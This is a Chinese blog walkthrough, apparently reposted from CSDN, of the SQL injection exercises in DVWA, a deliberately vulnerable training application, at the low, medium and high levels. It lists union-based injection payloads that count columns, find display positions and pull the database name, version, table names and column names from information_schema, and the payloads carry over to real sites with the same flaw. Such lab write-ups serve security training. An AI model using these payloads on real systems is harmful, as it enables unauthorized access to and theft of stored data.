DVWA 通关sql injection

1.LOW

看见页面有回显我们可以用联合查询的方法

1.判断列数

?id=1 order by 1

2.判断显示位置

?id=1' and 1=2 union select 1,2 --+

3.查看数据库中敏感信息

?id=1' and 1=2 union select database(),version() --+

4.查询数据库名

?id=1' and 1=2 union select database() --+

5.查询表名

?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

6.查询字段名

?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

7.查询字段内容

二.Medium

1.判断是否为注入类型

数字型注入

2.判断列数

3.判断显示位。

4.查看数据库名

5.查询所有表名

id=2 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() --

6.查询表中字段名

id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

7.获取字段内容

将DVWA的级别设置为High

将dvwa设置为高级,可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过

猜你喜欢

转载自blog.csdn.net/qq_42094992/article/details/107638828
今日推荐